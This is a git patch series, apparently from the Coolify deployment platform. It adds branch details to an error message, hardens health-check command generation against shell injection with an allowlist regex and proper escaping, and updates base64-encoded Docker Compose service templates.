@@ paths: is_preview_suffix_enabled: type: boolean description: 'Whether to add -pr-N suffix for preview deployments.' + name: + type: string + description: 'The volume name (persistent only, not allowed for read-only storages).' + mount_path: + type: string + description: 'The container mount path (not allowed for read-only storages).' + host_path: + type: string + nullable: true + description: 'The host path (persistent only, not allowed for read-only storages).' + content: + type: string + nullable: true + description: 'The file content (file only, not allowed for read-only storages).' type: object responses: '200': From 1b0b230de20856defea3a4823a3ff36e9c816ad7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 15:39:24 +0100 Subject: [PATCH 31/51] fix(compose): include git branch in compose file not found error Add the git branch to the "Docker Compose file not found" error message to help diagnose cases where the file exists on one branch but not the checked-out branch. --- app/Models/Application.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/Models/Application.php b/app/Models/Application.php index 82e4d6311..4cc2dcf74 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1732,7 +1732,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->save(); if (str($e->getMessage())->contains('No such file')) { - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } if (str($e->getMessage())->contains('fatal: repository') && str($e->getMessage())->contains('does not exist')) { if ($this->deploymentType() === 'deploy_key') { @@ -1793,7 +1793,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->base_directory = $initialBaseDirectory; $this->save(); - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } } From 0ffcee7a4dcd24f92b5fab8c9c7be140b9532733 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 16:40:16 +0100 Subject: [PATCH 32/51] Squashed commit from '4fhp-investigate-os-command-injection' --- app/Jobs/ApplicationDeploymentJob.php | 18 +++-- templates/service-templates-latest.json | 36 ++++++++- templates/service-templates.json | 36 ++++++++- .../Unit/HealthCheckCommandInjectionTest.php | 76 ++++++++++++++++++- 4 files changed, 149 insertions(+), 17 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index f84cdceb9..cbec016e9 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2781,9 +2781,15 @@ private function generate_healthcheck_commands() // Handle CMD type healthcheck if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) { $command = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->health_check_command); - $this->full_healthcheck_url = $command; - return $command; + // Defense in depth: validate command at runtime (matches input validation regex) + if (! preg_match('/^[a-zA-Z0-9 \-_.\/:=@,+]+$/', $command) || strlen($command) > 1000) { + $this->application_deployment_queue->addLogEntry('Warning: Health check command contains invalid characters or exceeds max length. Falling back to HTTP healthcheck.'); + } else { + $this->full_healthcheck_url = $command; + + return $command; + } } // HTTP type healthcheck (default) @@ -2804,16 +2810,16 @@ private function generate_healthcheck_commands() : null; $url = escapeshellarg("{$scheme}://{$host}:{$health_check_port}".($path ?? '/')); - $method = escapeshellarg($method); + $escapedMethod = escapeshellarg($method); if ($path) { - $this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}{$path}"; + $this->full_healthcheck_url = "{$method}: {$scheme}://{$host}:{$health_check_port}{$path}"; } else { - $this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}/"; + $this->full_healthcheck_url = "{$method}: {$scheme}://{$host}:{$health_check_port}/"; } $generated_healthchecks_commands = [ - "curl -s -X {$method} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1", + "curl -s -X {$escapedMethod} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1", ]; return implode(' ', $generated_healthchecks_commands); diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index bc05073d1..f22a2ab53 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -818,7 +818,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", "tags": [ "postgres", "mysql", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV84MDAwCiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MDAwIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV85MTU3CiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo5MTU3IHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9JTUdDT01QUkVTU181MDAwCiAgICAgIC0gJ0RJU0FCTEVfTE9HTz0ke0RJU0FCTEVfTE9HTzotZmFsc2V9JwogICAgICAtICdESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVD0ke0RJU0FCTEVfU1RPUkFHRV9NQU5BR0VNRU5UOi1mYWxzZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwo=", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTElCUkVTUEVFRF84MgogICAgICAtIE1PREU9c3RhbmRhbG9uZQogICAgICAtIFRFTEVNRVRSWT1mYWxzZQogICAgICAtIERJU1RBTkNFPWttCiAgICAgIC0gV0VCUE9SVD04MgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdjdXJsIDEyNy4wLjAuMTo4MiB8fCBleGl0IDEnCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIGludGVydmFsOiAxbTBzCiAgICAgIHJldHJpZXM6IDEK", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -4099,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMDUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMTMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", "tags": [ "object", "storage", diff --git a/templates/service-templates.json b/templates/service-templates.json index 49f1f126f..22d0d6d8c 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -818,7 +818,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", "tags": [ "postgres", "mysql", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": 